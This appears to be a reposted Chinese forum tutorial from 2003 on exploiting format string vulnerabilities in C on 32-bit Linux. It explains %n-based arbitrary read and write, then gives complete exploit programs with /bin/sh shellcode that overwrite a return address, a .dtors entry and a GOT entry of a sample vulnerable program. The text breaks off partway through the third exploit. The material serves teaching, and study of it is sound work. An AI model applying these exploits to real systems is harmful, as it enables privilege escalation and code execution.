发新话题
打印

[转载]Format String 漏洞的分析总结

[转载]Format String 漏洞的分析总结

信息来源:红客联盟
文章作者:bkbll

Format String 漏洞介绍/总结(一)
bkbll(bkbll@cnhonker.net)
2003/4/8
其实这篇文章没什么技术含量,format string(格式化字符串)漏洞很久很久就被研究透了,scut的一篇pd文档属于非常详细的介绍/入门级文章,但是全英文以及里面例子有些解释不彻底, 以及有些例子已经不能使用了,所以这里想大致总结一下,并给出实验好的环境和代码.(实验平台:rh8.0,gcc自带版本)
Format string 漏洞一般是由以下几个函数引起的:
o fprintf - 输出到文件句柄
o printf - 输出到终端
o sprintf - 输出到一个字符串
o snprintf -输出指定长度到字符串
o vfprintf - print to a FILE stream from a va_arg structure
o vprintf - prints to 'stdout' from a va_arg structure
o vsprintf - prints to a string from a va_arg structure
o vsnprintf - prints to a string with length checking from a va_arg structure
Relatives:
o setproctitle - set argv[]
o syslog - output to the syslog facility
o 其他比如 err*, verr*, warn*, vwarn*

在使用这些函数的时候,如果指定了format格式的话,是不存在任何问题的,但是如果程序员偷懒,没指定format而直接输出字符串内容的话,就导致格式化字符串漏洞的发生,比如:
char *buffer;
……………….
printf("%s\n",buffer);
这段程序是不会产生字符串格式化的漏洞的,但是下面这个程序:
char *buffer;
…………..
printf(buffer);
如果buffer可以由用户控制的话,就会导致格式化字符串漏洞的发生。
类似还有:
syslog (LOG_NOTICE, buf);
fprintf(FILE *stream,buffer);
sprintf(char *string,buffer);
snprintf(char *string,strlen(string),buffer)
vfprintf(File *stream,buffer);
等。
1. 漏洞的产生/介绍
我们选用应用最普遍的printf函数来解答format string 漏洞的原理:
我们知道,一个标准正常的printf函数的格式化字符和参数应该是一一对应的,比如:
printf("%s%d%x\n",(char *)string,(int)intnum,(int)hexnum);
有几个%s等,后面就应该有几个参数,这样才可以一一显示该参数的内容,但是,如果有了格式化字符,如果没有跟参数,printf函数会怎么处理的呢?
[bkbll@mobile format]$ cat 6.c
main() { printf("%p %p %p %p %p %p\n"); }
%p表示按指针格式显示结果,我们编译运行下看看:
[bkbll@mobile format]$ gcc -o 6 6.c
[bkbll@mobile format]$ ./6
0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18
显示的是一大堆的内存数据, 我们看看这些数据到底放在哪里的:
[bkbll@mobile format]$ gdb -q 6
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/bkbll/format/6

Breakpoint 1, 0x0804832e in main ()
(gdb) x/i printf
0x42052390 <printf>: push %ebp
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.

Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/8wx $esp
0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8
0xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08
(gdb)
从这里我们看到, printf的入口在0x42052390, 我们分析一下堆栈数据的结构:
当系统调用某个函数的时候,首先会将函数参数压入堆栈, 最后把函数的返回地址压入堆栈, 上面的0x08048345是函数printf的返回地址, 也就是在main函数里面调用printf函数后下一条要执行的指令.0x08048394存放的是我们给printf的参数:
(gdb) x/s 0x08048394
0x8048394 <_IO_stdin_used+4>: "%p %p %p %p %p %p\n"
由于我们给printf了很多的格式化字符%p,但是又没给上相应的参数, 系统认为紧跟格式化字符串后面的数据即为printf的参数,所以就按照%p的格式打印在了终端上.
如果我给出了足够多的%p, 是否可以一直打印数据到0xbfffffff呢? 答案是肯定的, 这个不段用%p显示内存数据就是在scut的pdf上讲到的stack popup的涵义.
好,我们现在可以显示调用printf函数堆栈以上的内容了, 但是我们可以显示任意内存地址的内容吗? 我们看以下事例:
[bkbll@mobile format]$ cat 7.c
main()
{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %p %p %p\n");
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 7 7.c
[bkbll@mobile format]$ ./7
AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070
0x41414141就是我们写的AAAA的16进制码, 如果我把显示0x41414141的%p换成%s, 不是就可以显示0x41414141地址的内容呢?
[bkbll@mobile format]$ cat 8.c
main()
{
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 8 8.c ;./8
Segmentation fault
段错误, 我们跟踪一下:
[bkbll@mobile format]$ gdb -q 8
(gdb) r
Starting program: /home/bkbll/format/8

Program received signal SIGSEGV, Segmentation fault.
0x4207a4cb in strlen () from /lib/i686/libc.so.6
(gdb) disass $eip $eip+4
Dump of assembler code from 0x4207a4cb to 0x4207a4cf:
0x4207a4cb <strlen+11>: cmp %ch,(%eax)
0x4207a4cd <strlen+13>: je 0x4207a56a <strlen+170>
End of assembler dump.
(gdb) i reg ecx eax
ecx 0x1 1
eax 0x41414141 1094795585
(gdb) x/bx $eax
0x41414141: Cannot access memory at address 0x41414141
Oh,因为我们没有权限访问0x41414141这个地址,所以系统提示段错误.
那我们换一个我们可以访问的地址吧:
[bkbll@mobile format]$ cat 9.c
main()
{
char buf1[]="hello,world";
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %s %p %p\n");
buffer[0]=(int)buf1 & 0xff;
buffer[1]=((int)buf1 >> 8) & 0xff;
buffer[2]=((int)buf1 >> 16) & 0xff;
buffer[3]=((int)buf1 >> 24) & 0xff;
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 9 9.c ; ./9
帔?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070
我们输出了hello,world字符串, 而这个字符串的地址是我们替换了AAAA的数据得到的.
从上面的例子我们可以看出通过精心构造buffer, 我们可以显示任何地方的数据, 也就是所谓的:read anywhere.
能读数据虽然可以得到很多东西,但结构并不是我们想要的, 我们要可写才可以控制这个程序的流程, 才能运行我们的shellcode.
printf系列函数提供了%n的格式, 用来把显示的数据长度写进一个int型的变量里面, 比如:
[bkbll@mobile format]$ cat 10.c
main()
{
int i=0;
printf("before printf,i:%d\n",i);
printf("hello,word\n%n",&i);
printf("after printf,i:%d\n",i);
}
[bkbll@mobile format]$ gcc -o 10 10.c;./10
before printf,i:0
hello,word
after printf,i:11
我们把printf的输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试一下写到main的返回地址里面:
[bkbll@mobile format]$ gdb -q 10
(gdb) x/i main
0x8048328 <main>: push %ebp
(gdb) b *0x8048328
Breakpoint 1 at 0x8048328
(gdb) r
Starting program: /home/bkbll/format/10

Breakpoint 1, 0x08048328 in main ()
(gdb) x/wx $esp
0xbffffaec: 0x420158d4
我们得到了main的返回地址在0xbffffaec处.
Ok, 我们修改一下程序:
[bkbll@mobile format]$ cat 11.c
main()
{
int i=0xbffffaec;
printf("hello,word\n%n",i);
}
[bkbll@mobile format]$ gcc -o 11 11.c
[bkbll@mobile format]$ gdb -q 11
(gdb) r
Starting program: /home/bkbll/format/11
hello,word

Program received signal SIGSEGV, Segmentation fault.
0x0000000b in ?? ()
(gdb) i reg eip
eip 0xb 0xb
(gdb)
ok,我们已经成功的把数据写到了main返回地址那里, 0x000000b显然是一个不可以执行的地址, 所以会报错.
联想一下,结合前面的read anywhere和这里的写, 我们是否可以动态写数据到任何地址呢?
[bkbll@mobile format]$ cat 12.c
main()
{
int buf1=0xbffffaec;
char buffer[100]="";
strcpy(buffer,"AAAA%p %p %p %n %p %p\n");
buffer[0]=(int)buf1 & 0xff;
buffer[1]=((int)buf1 >> 8) & 0xff;
buffer[2]=((int)buf1 >> 16) & 0xff;
buffer[3]=((int)buf1 >> 24) & 0xff;
printf(buffer);

}
[bkbll@mobile format]$ gcc -o 12 12.c
[bkbll@mobile format]$ gdb -q 12
(gdb) r
Starting program: /home/bkbll/format/12
禚?x80484b0 (nil) (nil) 0x25207025 0x70252070

Program received signal SIGSEGV, Segmentation fault.
0x0000001a in ?? ()
(gdb) x/wx 0xbffffaec
0xbffffaec: 0x0000001a
(gdb) i reg eip
eip 0x1a 0x1a
我们成功的覆盖了main的返回地址。
利用printf的格式化字符串漏洞,我们可以write-anywhere, read anywhere。有了这两个条件后,想执行我们的shellcode还不是简单的事情吗?


Format String 漏洞介绍/总结(二)
bkbll(bkbll@cnhonker.net)
2003/4/8
2. format stirng 漏洞利用
通过前面讨论,我们很容易知道,如果要让我们的shellcode运行起来,必须要知道三个数据:
1. 我们要写的地址,want_write_addr
2. Printf参数后面多少位是我们自定义的数据地址,pad,也就是stack popup的值
3. 我们的shellcode地址.
为什么我们要知道pad的数值呢?printf提供了一个$参数给我们,允许用户不用一个个显示参数,可以自定义显示数据,比如:
[bkbll@mobile fmtxp_lib]$ cat 7.c
main()
{
int i=1,j=2;

printf("j=%2$d i=%1$d\n",i,j);

}
[bkbll@mobile fmtxp_lib]$ cc 7.c ; ./a.out
j=2 i=1
[bkbll@mobile fmtxp_lib]$
有了这个$参数,我们也可以很容易控制写入到某个地址的数据地址:
比如,我们想写入900到变量n里面,我们可以这样写:
[bkbll@mobile fmtxp_lib]$ cat 8.c
main()
{
int n=0;
printf("before printf,n=%d\n",n);
printf("%800d%n\n",1,&n);
printf("after printf,n=%d\n",n);
}
[bkbll@mobile fmtxp_lib]$ cc 8.c ; ./a.out
before printf,n=0
1
after printf,n=800
[bkbll@mobile fmtxp_lib]$
前面介绍了大概的应用,我们来实战一下,就利用scut提供的一个程序做我们的例子吧:
[bkbll@mobile fmtxp_lib]$ cat vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo (char *line);

int
main (int argc, char *argv[])
{
FILE * f;
char line[1024];

f = fopen (argv[1], "rb");
if (f == NULL) {
fprintf (stderr, "usage: %s file\n", argv[0]);

exit (EXIT_FAILURE);
}

fgets (line, sizeof (line) - 1, f);
line[1023] = &#39;\x00&#39;;
foo (line);

exit (EXIT_SUCCESS);
}

void
foo (char *line)
{
printf (line);
}
程序从文件里面读取一行(<1024)然后显示出来,在foo函数里面存在一个格式化字符串的漏洞。
一般利用format string的方法有以下几种:
1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数返回地址
等。这里我想介绍覆盖GOT, 覆盖DTORS地址,覆盖函数返回地址三种方法, 其他方法类似。
关于GOT表和DTORS段的含义,请参考相关资料。
3. 利用覆盖函数返回地址等方法:
首先我们要知道want_write_addr以及pad和shellcode addr值,
我们先跟踪一下vuln程序:
[bkbll@mobile fmtxp_lib]$ echo "AAAA" > 6
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 6
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 6

Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6
从这里可以看出,foo函数的返回地址在0xbffff67c,也就是我们所要的want_write_addr地址。
(gdb) x/i printf
0x42052390 <printf>: push %ebp
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.

Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/16wx $esp
0xbffff65c: 0x080484d5 0xbffff690 0x4000a190 0x42062a9d
0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa8
0xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x08049660
0xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e
这里我们可以得到pad的值,我们的printf参数在0xbffff690:
(gdb) x/s 0xbffff690
0xbffff690: "AAAA\n"
而我们真正的参数出现在0xbffff68c+4处,我们计算一下中间需要跳过多少地址:
0xbffff68c+4-0xbffff65c-8=0x2c
0x2c/4=11,也就是说中间需要经过11个指针类型数据才能到达,所以:
pad=11+1=12(第12个指针类型数据)
从前面又得到我们的shellcode地址肯定是在0xbffff690+x处,和缓冲区溢出类似,我们可以填充适当的NOP指令,只要X不太多,就可以将指令跳转到我们的NOP上,我们的shellcode就可以执行了。
我们看利用程序:
[bkbll@mobile fmtxp_lib]$ cat x1.c
/* overwrite return addr by our shellcode address
* coded by bkbll(bkbll@cnhonker.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>

#define want_write_addr 0xbffff67c /* foo函数返回地址所在的地址 */
#define pad 12 /* 要经过多少个的指针类型地址数据 */
#define straddr 0xbffff690 /* 用户自定义的起始数据地址 */
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
main()
{
int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;
/* 由于我们无法一下将shellcode地址写进want_write_addr,所以我们只要分两部分,前四位和后四位来写入,第一次写少点的数,第二次写两者之差就刚好满足要求了 */
high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0); /* 不可能作到长度不变 */
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;} /*确认最小的数据先写 */
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
/* 0xbffff67c */
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
/*0xbffff67c+2, 这样配合上面的数据就可以刚好写出一个4字节的指针出来 */
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad); /* 比较小的数值是0x0000bffff,比较大的数值是0x0000f690+0x50,但是 bfff恰好是地址的高四位,所以要写到第13个指针,也就是0xbffff67c+2的地方,而f690+50就写到第12个指针处,也就是0xbffff67c处,用%hn表示写一个2字节的数据,short型的,而不是缺省的int型 */
buffer[j]=0x90;/* 补上一个NOP */
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);
}
好,我们来试一下这个exploit:
[bkbll@mobile fmtxp_lib]$ ./x1 >1
use shell addr:0xbffff6e0
[bkbll@mobile fmtxp_lib]$ ./vuln 1
………………………………….(空格和不需要的信息)
蛝)繞蛝柁/bin/sh
sh-2.05b$id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
成功了。我们跟踪一下程序,看是否真的符合要求。
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 1
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 1

Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6 /* 返回地址所在地址 */
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb)c
蛝)繞蛝柁/bin/sh

Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "|?縹??49143p%13$hn%14049p%12$hn", &#39;\220&#39; <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/wx 0xbffff67c /*看看现在原来应该放返回地址的地址里是什么内容 */
0xbffff67c: 0xbffff6e0
(gdb) x/i 0xbffff6e0 /* 已经替换成了我们自己的buffer addr */
0xbffff6e0: nop
(gdb)
0xbffff6e1: nop
(gdb)
0xbffff6e2: nop /*跳转到NOP指令了 */(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
ok,已经跳入到了/bin/sh了。


Format String 漏洞介绍/总结(三)
Bkbll(bkbll@cnhonker.net)
2003-3-9
4. 覆盖.dtors 段地址。
用gcc编译出来的elf文件都包含有两个段:.ctors .dtors, 如果没有指定strip用-R项去掉的话,一般strip后的程序都含有这个段:
[bkbll@mobile fmtxp_lib]$ strip x1
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1

x1: file format elf32-i386

Contents of section .dtors:
8049800 ffffffff 00000000 ........
[bkbll@mobile fmtxp_lib]$ strip -R .dtors x1
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1
x1: file format elf32-i386
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors /bin/su
/bin/su: file format elf32-i386
Contents of section .dtors:
804d23c ffffffff 00000000 ........
.ctors段里面有一个函数地址,那么这个函数将会在运行main函数前运行。而.dtors段则相反,是程序结束前要运行的函数(main后).通过format string的write -anywhere特性,我们可以覆盖这个段的地址,把我们shellcode的地址写进去,这样当程序正常结束后,就会执行我们的shellcode指令,更多有关.dtors段内容请查阅相关文档。
我们来利用我们刚才的vuln程序来实验一下,由于format string构造字符串结构都差不多,所以我们只需要修改一下want_write_addr就可以了,pad和shellcode地址还可以用刚才的值。
首先,我们需要得到程序的.dtors段地址为多少:
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors vuln

vuln: file format elf32-i386

Contents of section .dtors:
8049618 ffffffff 00000000 ........
[bkbll@mobile fmtxp_lib]$
那么,我们需要覆盖的是0x8049618+4=0x804961c的地址
[bkbll@mobile fmtxp_lib]$ cat x2.c
/* write to .dtors addr
* objdump -s -j .dtors vuln
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>

#define want_write_addr 0x804961c /* .dtors存放函数地址的地址 */
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
/*主体函数不变 */
main()
{

int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;

high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;}
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;

j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);

}
来看一下运行结果:
[bkbll@mobile fmtxp_lib]$ gcc -o x2 x2.c
[bkbll@mobile fmtxp_lib]$ ./x2 >2
use shell addr:0xbffff6e0
[bkbll@mobile fmtxp_lib]$./vuln 2
蛝)繞蛝柁/bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
成功了。我们来跟踪一下:
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 2
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 2

Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/3wx 0x8049618
0x8049618 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb) c
蛝)繞蛝柁/bin/sh

Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "\034\226\004\b\036\226\004\b%49143p%13$hn%14049p%12$hn", &#39;\220&#39; <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/3wx 0x8049618
0x8049618 <__DTOR_LIST__>: 0xffffffff 0xbffff6e0 0x00000000
我门已经成功的把shellcode地址写进了.dtors段
(gdb) x/i 0xbffff6e0
0xbffff6e0: nop /*我们的指令*/
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
已经开始执行我们的shellcode了。


Format String 漏洞介绍/总结(四)
Bkbll(bkbll@cnhonker.net)
2003-3-9
5.覆盖GOT表
在编译elf文件的时候,如果要用到其他动态库的函数,比如printf, exit等, 编译的时候并不会直接把这两个函数的代码编译进去,而是留一个调用地址在GOT表里面,当elf文件被加载的时候,代码段才会真正加载进来,然后替换掉GOT表里面的地址(具体实现可以参考alert7的一篇文章。)
[bkbll@mobile format]$ cat 13.c
main(){printf("hello,world");exit(0);}
[bkbll@mobile format]$ gdb -q 13
(gdb) disass printf
Dump of assembler code for function printf:
0x804828c <printf>: jmp *0x80494d8
0x8048292 <printf+6>: push $0x8
0x8048297 <printf+11>: jmp 0x804826c <_init+24>
End of assembler dump.
(gdb) x/wx 0x80494d8
0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048292
(gdb) x/i 0x804826c
0x804826c <_init+24>: pushl 0x80494cc
(gdb)
0x8048272 <_init+30>: jmp *0x80494d0
(gdb) x/w 0x80494d0
0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000
在未开始加载动态共享库的时候,PLT表第1项指向的函数地址为空。
(gdb) b main
Breakpoint 1 at 0x8048362
(gdb) r
Starting program: /home/bkbll/format/13

Breakpoint 1, 0x08048362 in main ()
(gdb) x/w 0x80494d0
0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a180
(gdb) disass 0x4000a180
Dump of assembler code for function _dl_runtime_resolve:
0x4000a180 <_dl_runtime_resolve>: push %eax
0x4000a181 <_dl_runtime_resolve+1>: push %ecx
0x4000a182 <_dl_runtime_resolve+2>: push %edx
0x4000a183 <_dl_runtime_resolve+3>: mov 0x10(%esp,1),%edx
0x4000a187 <_dl_runtime_resolve+7>: mov 0xc(%esp,1),%eax
0x4000a18b <_dl_runtime_resolve+11>: call 0x40009f10 <fixup> /* 这里开始把填充函数地址 */
0x4000a190 <_dl_runtime_resolve+16>: pop %edx
0x4000a191 <_dl_runtime_resolve+17>: pop %ecx
0x4000a192 <_dl_runtime_resolve+18>: xchg %eax,(%esp,1)
0x4000a195 <_dl_runtime_resolve+21>: ret $0x8
0x4000a198 <_dl_runtime_resolve+24>: nop
0x4000a199 <_dl_runtime_resolve+25>: lea 0x0(%esi,1),%esi
End of assembler dump.
(gdb) b *0x4000a192
Breakpoint 2 at 0x4000a192
(gdb) c
Continuing.

Breakpoint 2, 0x4000a192 in _dl_runtime_resolve () from /lib/ld-linux.so.2
(gdb) x/i 0x804828c
0x804828c <printf>: jmp *0x80494d8
(gdb) x/wx 0x80494d8
0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x42052390 /* 这里已经改成了真的printf函数地址*/
(gdb) disass 0x42052390 0x42052390+0x70
Dump of assembler code from 0x42052390 to 0x42052400:
0x42052390 <printf>: push %ebp
0x42052391 <printf+1>: mov %esp,%ebp
0x42052393 <printf+3>: sub $0x18,%esp
0x42052396 <printf+6>: mov %ebx,0xfffffffc(%ebp)
0x42052399 <printf+9>: lea 0xc(%ebp),%ecx
0x4205239c <printf+12>: call 0x4201575d <__i686.get_pc_thunk.bx>
0x420523a1 <printf+17>: add $0xd7f2f,%ebx
0x420523a7 <printf+23>: mov 0x17c(%ebx),%eax
0x420523ad <printf+29>: mov (%eax),%eax
0x420523af <printf+31>: mov %ecx,0x8(%esp,1)
0x420523b3 <printf+35>: mov %eax,(%esp,1)
0x420523b6 <printf+38>: mov 0x8(%ebp),%eax
0x420523b9 <printf+41>: mov %eax,0x4(%esp,1)
0x420523bd <printf+45>: call 0x42047f00 <vfprintf>
0x420523c2 <printf+50>: mov 0xfffffffc(%ebp),%ebx
0x420523c5 <printf+53>: mov %ebp,%esp
0x420523c7 <printf+55>: pop %ebp
0x420523c8 <printf+56>: ret
0x420523c9 <printf+57>: nop
0x420523ca <printf+58>: nop
0x420523cb <printf+59>: nop
0x420523cc <printf+60>: nop
---Type <return> to continue, or q <return> to quit---q
Quit
这个是printf函数的加载过程,下面的exit函数过程一样。
因为exit函数在printf后面加载, 所以我们可以通过format string漏洞覆盖掉exit函数的入口地址,不让他去执行真正的exit函数。
我们看一下exit函数的位置:
(gdb) disass main
Dump of assembler code for function main:
0x804835c <main>: push %ebp
0x804835d <main+1>: mov %esp,%ebp
0x804835f <main+3>: sub $0x8,%esp
0x8048362 <main+6>: and $0xfffffff0,%esp
0x8048365 <main+9>: mov $0x0,%eax
0x804836a <main+14>: sub %eax,%esp
0x804836c <main+16>: sub $0xc,%esp
0x804836f <main+19>: push $0x80483d0
0x8048374 <main+24>: call 0x804828c <printf>
0x8048379 <main+29>: add $0x10,%esp
0x804837c <main+32>: sub $0xc,%esp
0x804837f <main+35>: push $0x0
0x8048381 <main+37>: call 0x804829c <exit>
0x8048386 <main+42>: nop
0x8048387 <main+43>: nop
(gdb) x/i 0x804829c
0x804829c <exit>: jmp *0x80494dc
(gdb) x/wx 0x80494dc
0x80494dc <_GLOBAL_OFFSET_TABLE_+20>: 0x080482a2
(gdb) x/i 0x080482a2
0x80482a2 <exit+6>: push $0x10
(gdb)
0x80482a7 <exit+11>: jmp 0x804826c <_init+24> /*这里就需要加载exit函数地址了*/
只要我们覆盖掉0x80494dc地址,让里面的内容替换成我们的shellcode地址就可以执行我们的命令了.
对应我们的vuln程序:
[bkbll@mobile fmtxp_lib]$ objdump -R vuln

vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE value
08049648 R_386_GLOB_DAT __gmon_start__
0804964c R_386_COPY stderr
08049630 R_386_JUMP_SLOT fprintf
08049634 R_386_JUMP_SLOT fgets
08049638 R_386_JUMP_SLOT __libc_start_main
0804963c R_386_JUMP_SLOT printf
08049640 R_386_JUMP_SLOT exit
08049644 R_386_JUMP_SLOT fopen

所以want_write_addr=08049640,其他都一样。
[bkbll@mobile fmtxp_lib]$ cat x3.c
/* write to exit function GOT address
* objdump -R vuln |grep exit
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>

#define want_write_addr 0x8049640
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";

main()
{

int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;

high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;}
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
